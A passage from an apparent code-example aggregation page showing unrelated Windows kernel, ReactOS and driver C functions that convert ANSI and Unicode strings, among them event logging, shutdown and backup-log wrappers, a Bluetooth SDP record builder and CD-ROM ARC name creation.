		RtlInitUnicodeString(&pHookTable->DriverDeviceName,puDriverDeviceName->Buffer);
	}
	if (pDetourTable != NULL)
	{
		//initialize the max length of the dest string
		RtlInitUnicodeString(&pDetourTable->DriverName,puDriverName->Buffer);
		RtlInitUnicodeString(&pDetourTable->DriverDeviceName,puDriverDeviceName->Buffer);
	}

	//----------------
	// ** IRP HOOKS **
	//----------------
	if (!GetIrpTableHooksAndDetours(puDriverName,puDriverDeviceName,modbase,modsize, pHookTable, pDetourTable))
	{
		ExFreePoolWithTag(pModuleList,CW_TAG);
		return STATUS_UNSUCCESSFUL;
	}

	if (pModuleList != NULL)
		ExFreePoolWithTag(pModuleList,CW_TAG);

	return STATUS_SUCCESS;
}
Exemplo n.º 8
0
//
//	Opens an image file
//
VDKSTAT
VdkOpenFile(
	IN HANDLE	*FileHandle,
	IN PCHAR	FileName,
	IN ULONG	NameLen,
	IN ULONG	ReadOnly)
{
	CHAR				buf[MAXIMUM_FILENAME_LENGTH];
	ULONG 				prefix;
	ANSI_STRING			ansi_name;
	UNICODE_STRING		unicode_name;
	OBJECT_ATTRIBUTES	attributes;
	IO_STATUS_BLOCK		io_status;
	VDKSTAT				status = VDK_OK;

	//
	// append appropriate prefix
	//
	prefix = 0;

	if (RtlCompareMemory(FileName, "\\??\\", 4) != 4) {

		RtlCopyMemory(buf, "\\??\\", 4);
		prefix = 4;

		if ((*FileName == '\\' || *FileName == '/') &&
			(*(FileName + 1) == '\\' || *(FileName + 1) == '/')) {
			//
			//	UNC path
			//
			RtlCopyMemory(buf + prefix, "UNC", 3);
			FileName++;
			NameLen--;
			prefix += 3;
		}
	}

	RtlCopyMemory(buf + prefix, FileName, NameLen);
	buf[NameLen + prefix] = '\0';

	VDKTRACE(VDKOPEN | VDKINFO,
		("[VDK] Opening file %s for %s\n",
			buf, ReadOnly ? "read-only" : "read-write"));

	//
	// generate unicode filename
	//
	RtlInitAnsiString(&ansi_name, buf);

	status = RtlAnsiStringToUnicodeString(
		&unicode_name, 	&ansi_name, TRUE);

	if (!VDKSUCCESS(status)) {

		VDKTRACE(VDKOPEN,
			("[VDK] Failed to convert filename to UNICODE\n"));

		return status;
	}

	//
	// open the file
	//
	InitializeObjectAttributes(
		&attributes,
		&unicode_name,
		OBJ_CASE_INSENSITIVE,
		NULL,
		NULL);

	status = ZwCreateFile(
		FileHandle,
		ReadOnly ? GENERIC_READ : (GENERIC_READ | GENERIC_WRITE),
		&attributes,
		&io_status,
		NULL,
		FILE_ATTRIBUTE_NORMAL,
		ReadOnly ? FILE_SHARE_READ : 0,
		FILE_OPEN,
		FILE_NON_DIRECTORY_FILE |
		FILE_RANDOM_ACCESS |
		FILE_NO_INTERMEDIATE_BUFFERING |
		FILE_SYNCHRONOUS_IO_NONALERT,
		NULL,
		0);

	RtlFreeUnicodeString(&unicode_name);

	if (!VDKSUCCESS(status)) {
		VDKTRACE(VDKOPEN,
			("[VDK] ZwCreateFile - %s\n",
			VdkStatusStr(status)));

		*FileHandle = NULL;
	}

	return status;
}
Exemplo n.º 9
0
static VOID
ssh_event_log_cb(SshLogFacility facility,
                 SshLogSeverity severity,
                 const char *msg,
                 PDRIVER_OBJECT driver)
{
  PIO_ERROR_LOG_PACKET pkt;
  UNICODE_STRING uc;
  ANSI_STRING ansi;
  size_t pkt_size;

  if (msg == NULL)
    return;

  if ((SSH_GET_IRQL() > SSH_PASSIVE_LEVEL) && (the_interceptor != NULL))
    {
      /* Event logging can't be performed at a raised IRQL, so we have to
         schedule a work item to complete the operation */
      SshEventLogRequest request = ssh_calloc(1, sizeof(*request));

      if (request == NULL)
        return;

      request->msg = ssh_strdup(msg);
      if (request->msg == NULL)
        {
          ssh_free(request);
          return;
        }

      request->facility = facility;
      request->severity = severity;
      request->driver = driver;

      if (ssh_ndis_wrkqueue_queue_item(the_interceptor->work_queue,
                                       ssh_event_log_work_queue_cb,
                                       request) == FALSE)
        {
          ssh_free(request->msg);
          ssh_free(request);
        }
      
      return;
    }

  /* Compose unicode error message string */
  RtlInitAnsiString(&ansi, msg);

  /* Calculate the maximum length a error log entry can contain */
  uc.Length = 0;
  uc.MaximumLength = ansi.MaximumLength * sizeof(WCHAR);
  if ((sizeof(IO_ERROR_LOG_PACKET) + 
       uc.MaximumLength) > ERROR_LOG_MAXIMUM_SIZE)
    {
      char *msg_copy;

      /* The message must be splitted into several fragments */
      uc.MaximumLength = ERROR_LOG_MAXIMUM_SIZE - sizeof(IO_ERROR_LOG_PACKET);
      ansi.MaximumLength = uc.MaximumLength / sizeof(WCHAR);
      ansi.Length = ansi.MaximumLength-1;

      /* Remember to copy the original message before truncating. Otherwice we
         _could_ cause some ugly side effects in the calling code.  */
      msg_copy = ssh_strdup(msg);
      if (msg_copy != NULL)
        {
          /* We write the tail of the message first, so the fractions are
             displayed in sensible order (with the default setup of the 
             Windows' Event Viever) */
          ssh_event_log_cb(facility, severity, 
                           &(msg_copy[ansi.Length]), driver);
          msg_copy[ansi.Length] = 0x00;
          ssh_event_log_cb(facility, severity, msg_copy, driver);
          ssh_free(msg_copy);
        }

      return;
    }

  /* Calc error log packet size */
  pkt_size = sizeof(IO_ERROR_LOG_PACKET) + uc.MaximumLength;
  SSH_ASSERT(pkt_size <= ERROR_LOG_MAXIMUM_SIZE);

  /* Allocate error log entry */
  pkt = IoAllocateErrorLogEntry(driver, (UCHAR)pkt_size);
  if (pkt != NULL)
    {
      switch (severity)
        {
        case SSH_LOG_INFORMATIONAL:
          pkt->ErrorCode = SSH_MSG_INFORMATIONAL;
          break;

        case SSH_LOG_NOTICE:
          pkt->ErrorCode = SSH_MSG_NOTICE;
          break;

        case SSH_LOG_WARNING:
          pkt->ErrorCode = SSH_MSG_WARNING;
          break;

        case SSH_LOG_ERROR:
          pkt->ErrorCode = SSH_MSG_ERROR;
          break;

        case SSH_LOG_CRITICAL:
          pkt->ErrorCode = SSH_MSG_CRITICAL;
          break;

        default:
          SSH_NOTREACHED;
          break;
        }

      /* Init the attributes of error log entry */
      pkt->MajorFunctionCode = 0;
      pkt->RetryCount = 0;
      pkt->DumpDataSize = 0;
      pkt->NumberOfStrings = 1;
      pkt->StringOffset = FIELD_OFFSET(IO_ERROR_LOG_PACKET, DumpData);
      pkt->EventCategory = 0; 
      pkt->UniqueErrorValue = pkt->ErrorCode;
      pkt->FinalStatus = STATUS_SUCCESS;
      pkt->SequenceNumber = 0;
      pkt->IoControlCode = 0;
      /* Perform ANSI -> UNICODE conversion */
      uc.Buffer = (PUSHORT)&(pkt->DumpData[0]);
      if (NT_SUCCESS(RtlAnsiStringToUnicodeString(&uc, &ansi, FALSE)))
        IoWriteErrorLogEntry(pkt);
      else
        IoFreeErrorLogEntry(pkt);
    }
}
Exemplo n.º 10
0
/******************************************************************************
 * ReportEventA [ADVAPI32.@]
 */
BOOL WINAPI
ReportEventA(IN HANDLE hEventLog,
             IN WORD wType,
             IN WORD wCategory,
             IN DWORD dwEventID,
             IN PSID lpUserSid,
             IN WORD wNumStrings,
             IN DWORD dwDataSize,
             IN LPCSTR *lpStrings,
             IN LPVOID lpRawData)
{
    NTSTATUS Status;
    PANSI_STRING *Strings;
    ANSI_STRING ComputerName;
    WORD i;
    CHAR szComputerName[MAX_COMPUTERNAME_LENGTH + 1];
    DWORD dwSize;
    LARGE_INTEGER SystemTime;
    ULONG Seconds;

    TRACE("%p, %u, %u, %lu, %p, %u, %lu, %p, %p\n",
          hEventLog, wType, wCategory, dwEventID, lpUserSid,
          wNumStrings, dwDataSize, lpStrings, lpRawData);

    Strings = HeapAlloc(GetProcessHeap(),
                        HEAP_ZERO_MEMORY,
                        wNumStrings * sizeof(PANSI_STRING));
    if (!Strings)
    {
        SetLastError(ERROR_NOT_ENOUGH_MEMORY);
        return FALSE;
    }

    for (i = 0; i < wNumStrings; i++)
    {
        Strings[i] = HeapAlloc(GetProcessHeap(),
                               HEAP_ZERO_MEMORY,
                               sizeof(ANSI_STRING));
        if (Strings[i])
        {
            RtlInitAnsiString(Strings[i], lpStrings[i]);
        }
    }

    dwSize = MAX_COMPUTERNAME_LENGTH + 1;
    GetComputerNameA(szComputerName, &dwSize);
    RtlInitAnsiString(&ComputerName, szComputerName);

    NtQuerySystemTime(&SystemTime);
    RtlTimeToSecondsSince1970(&SystemTime, &Seconds);

    RpcTryExcept
    {
        Status = ElfrReportEventA(hEventLog,
        Seconds,
        wType,
        wCategory,
        dwEventID,
        wNumStrings,
        dwDataSize,
        (PRPC_STRING)&ComputerName,
        lpUserSid,
        (PRPC_STRING*)Strings,
        lpRawData,
        0,
        NULL,
        NULL);
    }
    RpcExcept(EXCEPTION_EXECUTE_HANDLER)
    {
        Status = I_RpcMapWin32Status(RpcExceptionCode());
    }
    RpcEndExcept;

    for (i = 0; i < wNumStrings; i++)
    {
        if (Strings[i] != NULL)
            HeapFree(GetProcessHeap(), 0, Strings[i]);
    }

    HeapFree(GetProcessHeap(), 0, Strings);

    if (!NT_SUCCESS(Status))
    {
        SetLastError(RtlNtStatusToDosError(Status));
        return FALSE;
    }

    return TRUE;
}
Exemplo n.º 11
0
/******************************************************************************
 * OpenBackupEventLogA [ADVAPI32.@]
 */
HANDLE WINAPI
OpenBackupEventLogA(IN LPCSTR lpUNCServerName,
                    IN LPCSTR lpFileName)
{
    ANSI_STRING UNCServerNameA;
    UNICODE_STRING UNCServerNameW;
    ANSI_STRING FileNameA;
    UNICODE_STRING FileNameW;
    HANDLE LogHandle;
    NTSTATUS Status;

    TRACE("%s, %s\n", lpUNCServerName, lpFileName);

    /* Convert the server name to unicode */
    if (lpUNCServerName == NULL)
    {
        RtlInitUnicodeString(&UNCServerNameW, NULL);
    }
    else
    {
        RtlInitAnsiString(&UNCServerNameA, lpUNCServerName);

        Status = RtlAnsiStringToUnicodeString(&UNCServerNameW,
                                              &UNCServerNameA,
                                              TRUE);
        if (!NT_SUCCESS(Status))
        {
            SetLastError(RtlNtStatusToDosError(Status));
            return NULL;
        }
    }

    /* Convert the file name to unicode */
    if (lpFileName == NULL)
    {
        RtlInitUnicodeString(&FileNameW, NULL);
    }
    else
    {
        RtlInitAnsiString(&FileNameA, lpFileName);

        Status = RtlAnsiStringToUnicodeString(&FileNameW,
                                              &FileNameA,
                                              TRUE);
        if (!NT_SUCCESS(Status))
        {
            RtlFreeUnicodeString(&UNCServerNameW);
            SetLastError(RtlNtStatusToDosError(Status));
            return NULL;
        }
    }

    /* Call the unicode function */
    LogHandle = OpenBackupEventLogW(UNCServerNameW.Buffer,
                                    FileNameW.Buffer);

    /* Free the unicode strings */
    RtlFreeUnicodeString(&UNCServerNameW);
    RtlFreeUnicodeString(&FileNameW);

    return LogHandle;
}
Exemplo n.º 12
0
// This function is even more a hack
// It will remove the dll from the Debug manager
// but vs.net does not unload the symbols (don't know why)
// The dll can be loaded again after unloading.
// This function leaks memory.
void DllLoader::UnloadSymbols()
{
#ifdef ENABLE_SYMBOL_UNLOADING
  ANSI_STRING name;
  OBJECT_ATTRIBUTES attributes;
  RtlInitAnsiString(&name, GetName());
  InitializeObjectAttributes(&attributes, &name, OBJ_CASE_INSENSITIVE, NULL);

  // Try to unload the symbols from vs.net debugger
  DbgUnLoadImageSymbols(&name, (ULONG)hModule, 0xFFFFFFFF);

  LPVOID pBaseAddress=GetXbdmBaseAddress();

  if (pBaseAddress)
  {
    CoffLoader dllxbdm;
    if (dllxbdm.ParseHeaders(pBaseAddress))
    {
      int offset=GetDmiOffset(dllxbdm.WindowsHeader->CheckSum);

      if (offset==0)
      {
        CLog::Log(LOGDEBUG,"DllLoader: Unable to unload symbols for %s. No offset for xbdm.dll with checksum 0x%08X found", GetName(), dllxbdm.WindowsHeader->CheckSum);
        return;
      }

      try
      {
        std::wstring strNameW;
        g_charsetConverter.utf8ToW(GetName(), strNameW);

        // Get the address of the global struct g_dmi
        // It is located inside the xbdm.dll and
        // get the LoadedModuleList member (here the entry var)
        // of the structure.
        LPBYTE g_dmi=((LPBYTE)pBaseAddress)+offset;
        LIST_ENTRY* entry=(LIST_ENTRY*)(g_dmi+4);

        //  Search for the dll we are unloading...
        while (entry)
        {
          std::wstring baseName=(wchar_t*)((LDR_DATA_TABLE_ENTRY*)entry)->BaseDllName.Buffer;
          if (baseName == strNameW)
          {
            // ...and remove it from the LoadedModuleList and free its memory.
            LIST_ENTRY* back=entry->Blink;
            LIST_ENTRY* front=entry->Flink;
            back->Flink=front;
            front->Blink=back;
            DmFreePool(entry);
            break;
          }

          entry=entry->Flink;
        }
      }
      catch(...)
      {
        CLog::Log(LOGDEBUG,"DllLoader: Unloading symbols for %s failed with an exception.", GetName());
      }
    }
  }
  else
    CLog::Log(LOGDEBUG,"DllLoader: Can't unload symbols for %s. xbdm.dll is needed and not loaded", GetName());
#endif
}
Exemplo n.º 13
0
NTSTATUS
CreateSdpRecord(
    _In_ PBTHDDI_SDP_NODE_INTERFACE SdpNodeInterface,
    _In_ PBTHDDI_SDP_PARSE_INTERFACE SdpParseInterface,
    _In_ const GUID * ClassId,
    _In_ LPWSTR Name,
    _In_ USHORT Psm,
    _Out_ PUCHAR * Stream,
    _Out_ ULONG * Size
    )
/*++

Description:

    Create server SDP record

Arguments:

    SdpNodeInterface - Node interface that we obtained from bth stack
    SdpParseInterface - Parse interface that we obtained from bth stack
    ClassId - Service Class ID to publish
    Name - Service name to publish
    Psm - Server PSM
    Stream - receives the sdp record stream
    Size - receives size of sdp record stream

Return Value:

    NTSTATUS Status code.

--*/
{
    NTSTATUS status;
    PSDP_TREE_ROOT_NODE tree = NULL;
    PSDP_NODE seqClsIdList, seqProto, seqLang; 
    PSDP_NODE nodeName = NULL, nodeDesc = NULL, nodeProto; 
    UNICODE_STRING unicodeStrName;
    ANSI_STRING ansiStrName;
    PUCHAR stream = NULL;
    ULONG size;
    ULONG_PTR errorByte = 0;

    RtlInitUnicodeString(&unicodeStrName, Name);
    RtlInitAnsiString(&ansiStrName, NULL);

    status = RtlUnicodeStringToAnsiString(&ansiStrName, &unicodeStrName, TRUE);
    if (!NT_SUCCESS(status))
    {
        TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, 
            "Creating ANSI string for service name failed, Status code %!STATUS!\n", status);

        ansiStrName.Length = 0;
        goto exit;
    }
        
    tree = SdpNodeInterface->SdpCreateNodeTree(
        POOLTAG_BTHECHOSAMPLE
        );

    if (NULL == tree)
    {
        status = STATUS_INSUFFICIENT_RESOURCES;

        TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, 
            "SdpCreateNodeTree failed, returning Status code %!STATUS!\n", status);
        
        goto exit;
    }

    //
    // Add ClassIdList attribute
    //

    status = AddSeqAttribute(SdpNodeInterface, tree, SDP_ATTRIB_CLASS_ID_LIST, &seqClsIdList);
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }

    status = AppendNodeUuid128(SdpNodeInterface, seqClsIdList, ClassId);
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }

    //
    // Add protocols
    //

    //
    // L2CAP
    //
    status = AddSeqAttribute(SdpNodeInterface, tree, SDP_ATTRIB_PROTOCOL_DESCRIPTOR_LIST, &seqProto);
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }

    status = AppendSeqNode(SdpNodeInterface, seqProto, &nodeProto);
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }
    
    status = AppendNodeUuid16(SdpNodeInterface, nodeProto, L2CAP_PROTOCOL_UUID16);
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }

    status = AppendNodeUint16(SdpNodeInterface, nodeProto, Psm);
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }

    //
    // SDP
    //

    status = AppendSeqNode(SdpNodeInterface, seqProto, &nodeProto);
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }

    status = AppendNodeUuid16(SdpNodeInterface, nodeProto, SDP_PROTOCOL_UUID16);            
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }

    //
    // Add lang attributes
    //
    status = AddSeqAttribute(SdpNodeInterface, tree, SDP_ATTRIB_LANG_BASE_ATTRIB_ID_LIST, &seqLang);
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }

    status = AppendNodeUint16(SdpNodeInterface, seqLang, 0x656e); //TODO: find constants for these           
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }

    status = AppendNodeUint16(SdpNodeInterface, seqLang, 0x006A);            
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }
    
    status = AppendNodeUint16(SdpNodeInterface, seqLang, 0x0100);            
    if (!NT_SUCCESS(status))
    {
        goto exit;
    }
    
    //
    // Add service name
    //

    nodeName = SdpNodeInterface->SdpCreateNodeString(
        ansiStrName.Buffer, 
        ansiStrName.Length, 
        POOLTAG_BTHECHOSAMPLE
        );
    if(NULL == nodeName)
    {
        status = STATUS_INSUFFICIENT_RESOURCES;

        TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, 
            "Creating node for service name failed, Status code %!STATUS!\n", status);

        goto exit;
    }
    
    status = SdpNodeInterface->SdpAddAttributeToTree(
        tree, 
        LANG_DEFAULT_ID+STRING_NAME_OFFSET, 
        nodeName, 
        POOLTAG_BTHECHOSAMPLE
        );
    if(!NT_SUCCESS(status))
    {
        TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, 
            "SdpAddAttributeToTree for service name failed, Status code %!STATUS!\n", status);

        goto exit;
    }

    nodeName = NULL; //transferred owenership to tree
    
    nodeDesc = SdpNodeInterface->SdpCreateNodeString(
        ansiStrName.Buffer, 
        ansiStrName.Length, 
        POOLTAG_BTHECHOSAMPLE
        );
    if(NULL == nodeDesc)
    {
        status = STATUS_INSUFFICIENT_RESOURCES;

        TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, 
            "Creating node for service desc failed, Status code %!STATUS!\n", status);

        goto exit;
    }
    
    status = SdpNodeInterface->SdpAddAttributeToTree(
        tree, 
        LANG_DEFAULT_ID+STRING_DESCRIPTION_OFFSET, 
        nodeDesc, 
        POOLTAG_BTHECHOSAMPLE
        );
    if(!NT_SUCCESS(status))
    {
        TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, 
            "SdpAddAttributeToTree for service desc failed, Status code %!STATUS!\n", status);
        
        goto exit;
    }

    nodeDesc = NULL;

    //
    // Create stream from tree
    //

    status = SdpParseInterface->SdpConvertTreeToStream(tree, &stream, &size, POOLTAG_BTHECHOSAMPLE);
    if(!NT_SUCCESS(status))
    {
        TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, 
            "Failed to get stream from tree for SDP record, Status code %!STATUS!\n", status);
        
        goto exit;
    }

    status = SdpParseInterface->SdpValidateStream(
        stream,
        size,
        &errorByte
        );

    if(!NT_SUCCESS(status))
    {
        TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, 
            "Validate stream failed for SDP record, first failure at address %p\n", (PVOID)errorByte);
        
        goto exit;
    }

    *Stream = stream;
    *Size = size;
    
exit:
    if (NULL != tree)
    {
        SdpNodeInterface->SdpFreeTree(tree);
    }

    if (NULL != nodeName)
    {
        //
        // If we failed to add attribute to tree use ExFreePool to free it
        //
        ExFreePool(nodeName);
    }
    
    if (NULL != nodeDesc)
    {
        //
        // If we failed to add attribute to tree use ExFreePool to free it
        //
        ExFreePool(nodeDesc);
    }
    
    RtlFreeAnsiString(&ansiStrName);

    if (!NT_SUCCESS(status))
    {
        if (stream != NULL)
        {
            ExFreePoolWithTag(stream, POOLTAG_BTHECHOSAMPLE);
        }
    }
    
    return status;
}
Exemplo n.º 14
0
/**********************************************************************
 *      InitiateSystemShutdownA
 *
 * @unimplemented
 */
BOOL
WINAPI
InitiateSystemShutdownA(LPSTR lpMachineName,
                        LPSTR lpMessage,
                        DWORD dwTimeout,
                        BOOL bForceAppsClosed,
                        BOOL bRebootAfterShutdown)
{
    ANSI_STRING     MachineNameA;
    ANSI_STRING     MessageA;
    UNICODE_STRING  MachineNameW;
    UNICODE_STRING  MessageW;
    NTSTATUS        Status;
    INT         LastError;
    BOOL        rv;

	MachineNameW.Buffer = NULL;
	MessageW.Buffer = NULL;

    if (lpMachineName)
    {
        RtlInitAnsiString(&MachineNameA, lpMachineName);
        Status = RtlAnsiStringToUnicodeString(&MachineNameW, &MachineNameA, TRUE);
        if (STATUS_SUCCESS != Status)
        {
            SetLastError(RtlNtStatusToDosError(Status));
            return FALSE;
        }
    }

    if (lpMessage)
    {
        RtlInitAnsiString(&MessageA, lpMessage);
        Status = RtlAnsiStringToUnicodeString(&MessageW, &MessageA, TRUE);
        if (STATUS_SUCCESS != Status)
        {
            if (MachineNameW.Buffer)
            {
                RtlFreeUnicodeString(&MachineNameW);
            }

            SetLastError(RtlNtStatusToDosError(Status));
            return FALSE;
        }
    }

    rv = InitiateSystemShutdownW(MachineNameW.Buffer,
                                 MessageW.Buffer,
                                 dwTimeout,
                                 bForceAppsClosed,
                                 bRebootAfterShutdown);
    LastError = GetLastError();
    if (lpMachineName)
    {
        RtlFreeUnicodeString(&MachineNameW);
    }

    if (lpMessage)
    {
        RtlFreeUnicodeString(&MessageW);
    }

    SetLastError(LastError);
    return rv;
}
Exemplo n.º 15
0
NTSTATUS
INIT_FUNCTION
NTAPI
IopCreateArcNamesCd(IN PLOADER_PARAMETER_BLOCK LoaderBlock)
{
    PIRP Irp;
    KEVENT Event;
    NTSTATUS Status;
    PLIST_ENTRY NextEntry;
    PFILE_OBJECT FileObject;
    PDEVICE_OBJECT DeviceObject;
    LARGE_INTEGER StartingOffset;
    IO_STATUS_BLOCK IoStatusBlock;
    PULONG PartitionBuffer = NULL;
    CHAR Buffer[128], ArcBuffer[128];
    BOOLEAN NotEnabledPresent = FALSE;
    STORAGE_DEVICE_NUMBER DeviceNumber;
    ANSI_STRING DeviceStringA, ArcNameStringA;
    PWSTR SymbolicLinkList, lSymbolicLinkList;
    PARC_DISK_SIGNATURE ArcDiskSignature = NULL;
    UNICODE_STRING DeviceStringW, ArcNameStringW;
    ULONG DiskNumber, CdRomCount, CheckSum, i, EnabledDisks = 0;
    PARC_DISK_INFORMATION ArcDiskInformation = LoaderBlock->ArcDiskInformation;

    /* Get all the Cds present in the system */
    CdRomCount = IoGetConfigurationInformation()->CdRomCount;

    /* Get enabled Cds and check if result matches
     * For the record, enabled Cds (or even disk) are Cds/disks
     * that have been successfully handled by MountMgr driver
     * and that already own their device name. This is the "new" way
     * to handle them, that came with NT5.
     * Currently, Windows 2003 provides an arc names creation based
     * on both enabled drives and not enabled drives (lack from
     * the driver).
     * Given the current Odyssey state, that's good for us.
     * To sum up, this is NOT a hack or whatsoever.
     */
    Status = IopFetchConfigurationInformation(&SymbolicLinkList,
                                              GUID_DEVINTERFACE_CDROM,
                                              CdRomCount,
                                              &EnabledDisks);
    if (!NT_SUCCESS(Status))
    {
        NotEnabledPresent = TRUE;
    }
    /* Save symbolic link list address in order to free it after */
    lSymbolicLinkList = SymbolicLinkList;
    /* For the moment, we won't fail */
    Status = STATUS_SUCCESS;

    /* Browse all the ARC devices trying to find the one matching boot device */
    for (NextEntry = ArcDiskInformation->DiskSignatureListHead.Flink;
         NextEntry != &ArcDiskInformation->DiskSignatureListHead;
         NextEntry = NextEntry->Flink)
    {
        ArcDiskSignature = CONTAINING_RECORD(NextEntry,
                                             ARC_DISK_SIGNATURE,
                                             ListEntry);

        if (strcmp(LoaderBlock->ArcBootDeviceName, ArcDiskSignature->ArcName) == 0)
        {
            break;
        }

        ArcDiskSignature = NULL;
    }

    /* Not found... Not booting from a Cd */
    if (!ArcDiskSignature)
    {
        DPRINT("Failed finding a cd that could match current boot device\n");
        goto Cleanup;
    }

    /* Allocate needed space for reading Cd */
    PartitionBuffer = ExAllocatePoolWithTag(NonPagedPoolCacheAligned, 2048, TAG_IO);
    if (!PartitionBuffer)
    {
        DPRINT("Failed allocating resources!\n");
        /* Here, we fail, BUT we return success, some Microsoft joke */
        goto Cleanup;
    }

    /* If we have more enabled Cds, take that into account */
    if (EnabledDisks > CdRomCount)
    {
        CdRomCount = EnabledDisks;
    }

    /* If we'll have to browse for none enabled Cds, fix higher count */
    if (NotEnabledPresent && !EnabledDisks)
    {
        CdRomCount += 5;
    }

    /* Finally, if in spite of all that work, we still don't have Cds, leave */
    if (!CdRomCount)
    {
        goto Cleanup;
    }

    /* Start browsing Cds */
    for (DiskNumber = 0, EnabledDisks = 0; DiskNumber < CdRomCount; DiskNumber++)
    {
        /* Check if we have an enabled disk */
        if (SymbolicLinkList && *SymbolicLinkList != UNICODE_NULL)
        {
            /* Create its device name using first symbolic link */
            RtlInitUnicodeString(&DeviceStringW, lSymbolicLinkList);
            /* Then, update symbolic links list */
            lSymbolicLinkList += wcslen(lSymbolicLinkList) + (sizeof(UNICODE_NULL) / sizeof(WCHAR));

            /* Get its associated device object and file object */
            Status = IoGetDeviceObjectPointer(&DeviceStringW,
                                              FILE_READ_ATTRIBUTES,
                                              &FileObject,
                                              &DeviceObject);
            /* Failure? Good bye! */
            if (!NT_SUCCESS(Status))
            {
                goto Cleanup;
            }

            /* Now, we'll ask the device its device number */
            Irp = IoBuildDeviceIoControlRequest(IOCTL_STORAGE_GET_DEVICE_NUMBER,
                                                DeviceObject,
                                                NULL,
                                                0,
                                                &DeviceNumber,
                                                sizeof(STORAGE_DEVICE_NUMBER),
                                                FALSE,
                                                &Event,
                                                &IoStatusBlock);
            /* Failure? Good bye! */
            if (!Irp)
            {
                /* Dereference file object before leaving */
                ObDereferenceObject(FileObject);
                Status = STATUS_INSUFFICIENT_RESOURCES;
                goto Cleanup;
            }

            /* Call the driver, and wait for it if needed */
            KeInitializeEvent(&Event, NotificationEvent, FALSE);
            Status = IoCallDriver(DeviceObject, Irp);
            if (Status == STATUS_PENDING)
            {
                KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
                Status = IoStatusBlock.Status;
            }
            if (!NT_SUCCESS(Status))
            {
                ObDereferenceObject(FileObject);
                goto Cleanup;
            }

            /* Finally, build proper device name */
            sprintf(Buffer, "\\Device\\CdRom%lu", DeviceNumber.DeviceNumber);
            RtlInitAnsiString(&DeviceStringA, Buffer);
            Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE);
            if (!NT_SUCCESS(Status))
            {
                ObDereferenceObject(FileObject);
                goto Cleanup;
            }
        }
        else
        {
            /* Create device name for the cd */
            sprintf(Buffer, "\\Device\\CdRom%lu", EnabledDisks++);
            RtlInitAnsiString(&DeviceStringA, Buffer);
            Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE);
            if (!NT_SUCCESS(Status))
            {
                goto Cleanup;
            }

            /* Get its device object */
            Status = IoGetDeviceObjectPointer(&DeviceStringW,
                                              FILE_READ_ATTRIBUTES,
                                              &FileObject,
                                              &DeviceObject);
            if (!NT_SUCCESS(Status))
            {
                RtlFreeUnicodeString(&DeviceStringW);
                goto Cleanup;
            }
        }

        /* Initiate data for reading cd and compute checksum */
        StartingOffset.QuadPart = 0x8000;
        CheckSum = 0;
        Irp = IoBuildSynchronousFsdRequest(IRP_MJ_READ,
                                           DeviceObject,
                                           PartitionBuffer,
                                           2048,
                                           &StartingOffset,
                                           &Event,
                                           &IoStatusBlock);
        if (Irp)
        {
            /* Call the driver, and wait for it if needed */
            KeInitializeEvent(&Event, NotificationEvent, FALSE);
            Status = IoCallDriver(DeviceObject, Irp);
            if (Status == STATUS_PENDING)
            {
                KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
                Status = IoStatusBlock.Status;
            }

            /* Reading succeed, compute checksum by adding data, 2048 bytes checksum */
            if (NT_SUCCESS(Status))
            {
                for (i = 0; i < 2048 / sizeof(ULONG); i++)
                {
                    CheckSum += PartitionBuffer[i];
                }
            }
        }

        /* Dereference file object */
        ObDereferenceObject(FileObject);

        /* If checksums are matching, we have the proper cd */
        if (CheckSum + ArcDiskSignature->CheckSum == 0)
        {
            /* Create ARC name */
            sprintf(ArcBuffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName);
            RtlInitAnsiString(&ArcNameStringA, ArcBuffer);
            Status = RtlAnsiStringToUnicodeString(&ArcNameStringW, &ArcNameStringA, TRUE);
            if (NT_SUCCESS(Status))
            {
                /* Create symbolic link */
                IoCreateSymbolicLink(&ArcNameStringW, &DeviceStringW);
                RtlFreeUnicodeString(&ArcNameStringW);
                DPRINT1("Boot device found\n");
            }

            /* And quit, whatever happens */
            RtlFreeUnicodeString(&DeviceStringW);
            goto Cleanup;
        }

        /* Free string before trying another disk */
        RtlFreeUnicodeString(&DeviceStringW);
    }

Cleanup:
    if (PartitionBuffer)
    {
        ExFreePoolWithTag(PartitionBuffer, TAG_IO);
    }

    if (SymbolicLinkList)
    {
        ExFreePool(SymbolicLinkList);
    }

    return Status;
}
Exemplo n.º 16
0
static
NTSTATUS
UserpFormatMessages(
    OUT PUNICODE_STRING TextStringU,
    OUT PUNICODE_STRING CaptionStringU,
    IN  PULONG_PTR Parameters,
    IN  ULONG SizeOfStrings,
    IN  PHARDERROR_MSG Message,
    IN  HANDLE hProcess)
{
    NTSTATUS Status;
    UNICODE_STRING FileNameU, TempStringU, FormatU;
    ANSI_STRING FormatA;
    PMESSAGE_RESOURCE_ENTRY MessageResource;
    PWSTR FormatString;
    ULONG Size, ExceptionCode;

    /* Get the file name of the client process */
    UserpGetClientFileName(&FileNameU, hProcess);

    /* Check if we have a file name */
    if (!FileNameU.Buffer)
    {
        /* No, use system */
        RtlInitUnicodeString(&FileNameU, L"System");
    }

    /* Get text string of the error code */
    Status = RtlFindMessage(GetModuleHandleW(L"ntdll"),
                            (ULONG_PTR)RT_MESSAGETABLE,
                            LANG_NEUTRAL,
                            Message->Status,
                            &MessageResource);

    if (NT_SUCCESS(Status))
    {
        if (MessageResource->Flags)
